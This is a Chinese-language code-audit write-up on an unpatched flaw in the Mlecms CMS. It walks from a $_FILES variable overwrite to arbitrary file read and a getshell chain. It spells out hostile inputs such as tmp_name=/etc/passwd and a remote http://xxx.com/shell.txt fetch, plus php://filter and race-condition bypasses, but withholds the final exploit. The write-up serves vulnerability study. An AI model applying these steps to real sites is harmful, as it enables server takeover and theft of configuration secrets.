[送0day]代码审计就该这么来 Mlecms Getshell【系列一】【转】

本文原创作者:索马里的海贼,本文属i春秋原创奖励计划,未经许可禁止转载!

前言
看了版主 jing0102 的{代码审计思路} (通读+审计) Mlecms(中危漏洞/不简单)
感觉挺有意思 于是也回去下了一套代码看看
不得不说小众CMS的开发能力、安全意识跟大厂商还是有不少差距的 限于篇幅 不是关键部分就不贴代码了

一、发现隐患
拿到一套源码 首先得找到下手的地方,不管是不是新手 我都建议从index.php开始。
index.php做为固定主页面,里面肯定包含了整套系统的配置读取,初始化等内容,跟随这些包含的内容或者文件 就能大致了解整套系统的处理框架 流程等信息 这些信息在审计中都是非常重要的。经常有刚入门的审计同学不知道怎么才能加载某个文件,或者明明发现某个地方存在问题,却不知道如何访问去触发,这都是对流程不熟悉的结果。
感觉说的废话都能出一本书了,接下来直接来看看今天的主角mlecms
index.php中包含了一个inc/include/目录下的header.php
而header.php又包含了common.inc.php
common.inc.php又包含了globals.php
这3个文件都是用来初始化站点的数据,在看到globals.php的时候 发现有这么一段

[PHP] 纯文本查看 复制代码
1
2
3
4
5
foreach(array('_GET','_POST','_COOKIE') as $_request){
    foreach($$_request as $i => &$n){
        ${$i} = daddslashes($n);
    }
}


接触过代码审计的人应该很熟悉,这是一段伪全局的代码。很多流行cms都会用,也出过不少问题,dz dedecms都在伪全局上吃过苦头。
这里并没有对变量名进行判断就直接用双$初始化了变量,还记得DEDECMS的覆盖$GBLOBAS超全局变量导致的getshell么
好在这套系统并没有用$GBLOABS来做什么文章,而且变量的值都经过了daddslashes做了转义。那如果是$_FILES呢~

二、从隐患开始
正常的流程中$_FILES变量是当产生用户上传动作时一个系统初始化的数组

[PHP] 纯文本查看 复制代码
1
2
3
4
5
$_FILES['userfile']['name'] //客户端机器文件的原名称。
$_FILES['userfile']['type'] //文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size'] //已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] //文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error'] //和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。


当正常上传的时候 数组中的tmp_name值是不可控的,但因为上面的提到隐患,$_FILES变量可以通过GPC提交来覆盖了。
当然$_FILES可控在严谨的上传流程里也不一定能造成很大的危害  我们就来看看这套系统的上传流程
搜索$_FILES 有4个文件使用了这个变量 去掉后台功能和ckeditor 找到了inc/class/avatar.class.php
看名字应该是跟头像上传有关,来看看具体内容
inc/class/avatar.class.php 行34

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    
//这里的注释等下回来看
public function onuploadavatar() {
        @header("Expires: 0");
        @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
        @header("Pragma: no-cache");
        $this->init_input($_GET['agent']);
        $uid = $this->input['uid'];  //uid来自input数组 input数组来自init_input()函数
        if(empty($uid)) {
            return -1;
        }
        if(empty($_FILES['Filedata'])) {
            return -3;
        }
        list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); //这里调用getimagesize函数来检查文件内容
        $imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
        $filetype = $imgtype[$type]; //限定了文件后缀来自$imgtype数组
        $tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; //临时保存文件名 [固定]+uid+文件后缀
        file_exists($tmpavatar) && @unlink($tmpavatar); // 如果已经存在 先删除
        if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
            @unlink($_FILES['Filedata']['tmp_name']); //如果移动成功 就删了原文件
            list($width, $height, $type, $attr) = getimagesize($tmpavatar); //再次调用getimagesize函数检查移动后的文件
            if($width < 10 || $height < 10 || $type == 4) { //如果长度宽度不符合要求 或者$type=4(我记得是swf文件好像)  就删掉目标文件
                @unlink($tmpavatar);
                return -2;
            }
        } else {
            @unlink($_FILES['Filedata']['tmp_name']); //移动失败  也删掉原文件
            return -4;
        }
        global $config;
        $avatarurl = $config['url'].'inc/tmp/other/member_'.$uid.$filetype;
        return $avatarurl;
    }


看到了这句

[PHP] 纯文本查看 复制代码
1
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {


move_upload_file函数会在移动文件之前检查文件是否为合法的上传临时文件,如果想搞事,伪造的tmp_name是不会通过函数检查的
但copy就不一样了 不管你来源 不管你目的  直接给你怼过去。
再看看上面这句 两个函数都尝试了
所以如果我们伪造$_FILES[‘Filedata’][‘tmp_name’]=/etc/passwd 就是一个妥妥的任意文件读取了
更进一步 如果伪造
$_FILES[‘Filedata’][‘tmp_name’]=http://xxx.com/shell.txt 是不是就能getshell了呢
来看看程序的流程(减少篇幅 回去看上面代码段的注释)
可以看到 不管哪个流程 最终都会删掉原文件(也就是我们伪造的
$_FILES[‘Filedata’][‘tmp_name’])你应该不想读了个数据库配置信息导致整个网站瘫痪吧。而且这里保存的文件后缀来自数组 并不能随意伪造来getshell。
到这里  真的没办法了吗?

三、真的没办法了吗?
真的没办法了吗?当然不,代码审计就是要有死磕的精神,你拦我绕,你堵我怼。来看看怎么怼。
先总结一下目前的状况 由于伪全局未过滤,导致$_FILES变量覆盖
又由于使用了copy函数来进行文件移动  不会检查文件是否合法 可能导致任意文件读取和getshell的问题
问题是 不管走哪个流程 都会unlink原文件 读取关键配置会导致关键配置文件被删  站点直接瘫痪
一个一个来解决
关于文件读取 有没有办法 能让copy(src,dst)成功 而unlink(src)失败呢
答案是有的 就是神奇的php://filter  这里限于篇幅 不再细说这个schema 百度一下有几位前辈早已写过有关的文章
利用php://filter/resource=路径/文件名  就可以达到我们想要的效果 copy成功 unlink失败,虽然copy成功之后
第二个getimagesize检查后面的unlink没办法bypass 不过已经生成了 那我读不读就由不得你了。时间竞争大家应该不陌生,
我赶在你生成和删除中间的一瞬间读到不就行了,时间竞争的关键一点就是,目标要明确,如果我不知道你文件名
胡乱去猜的话 这个时间间隔肯定是不够的,但是文件名我们是已知的(
[固定]+uid+文件后缀),所以多试几次 肯定能成功。
好了 现在任意文件读取这个漏洞已经拿下了,那贪心一点 能getshell么?
答案当然也是能。
来看看保存的文件名格式

[PHP] 纯文本查看 复制代码
1
2
3
4
[/size][/size][/size][/size][/color][/size][/font][/size][/font][/color][color=#ff0000][font=宋体][size=14.0pt][font=微软雅黑][size=2][color=Black][size=4][size=3][size=4][size=3][color=#ff0000][font=宋体][size=14.0pt][font=微软雅黑][size=2][color=Black][size=4][size=3]list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); //这里调用getimagesize函数来检查文件内容
        $imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
        $filetype = $imgtype[$type]; //限定了文件后缀来自$imgtype数组
        $tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; //临时保存文件名 [固定]+uid+文件后缀[/size][/size][/color][/size][/font][/size][/font][/color]


为了getshell 这里需要让getimagesize()失败 这样$type就不会被初始化

[PHP] 纯文本查看 复制代码
1
$filetype=$imgtype[$type];


文件后缀就变成null了
接下来如果能控制$uid=xx.php的话 就能getshell了
$uid来自

[PHP] 纯文本查看 复制代码
1
2
$this->init_input($_GET['agent']);
$uid = $this->input['uid'];  //uid来自input数组 input数组来自init_input()函数


看看init_input函数

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
public function init_input($getagent = '') {
        $input = $_GET['input'];
        if($input) {
            $input = encryption($input,'DECODE',WEBKEY);
            parse_str($input,$this->input);
            $agent = $getagent ? $getagent : $this->input['agent'];
            if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
                exit('Access denied for agent changed');
            } elseif($this->time - $this->input['time'] > 3600) {
                exit('Authorization has expired');
            }
        }
        if(empty($this->input)) {
            exit('Invalid input');
        }
    }


从$_GET[‘input’];中解密并用parse_str赋值给了$this->input数组
这里用的加解密函数encryption()其实就是dz的authcode函数,还是比较安全的。密钥WEBKEY来自inc/config/version.config.php
如果我们能知道密钥WEBKEY 就能伪造uid=.php的input值来getshell
怎么得到这个WEBKEY值呢,别忘了上面的任意文件读取哦~

四、利用
毕竟还是个0day 危害也比较大 这里就不公开具体的getshell代码了  主要是分享一个从拿到cms开始发现安全隐患 到如何利用安全隐患 再遇到困难 解决困难最终成功利用的过程。

总结
写文章比看代码累多了。。。
代码审计 靠的其实就是对编程语言的理解。怎么去快速发现问题,怎么去绕坑,都需要不断的积累。
最后祝大家0day多多

此条目发表在经验技术分类目录。将固定链接加入收藏夹。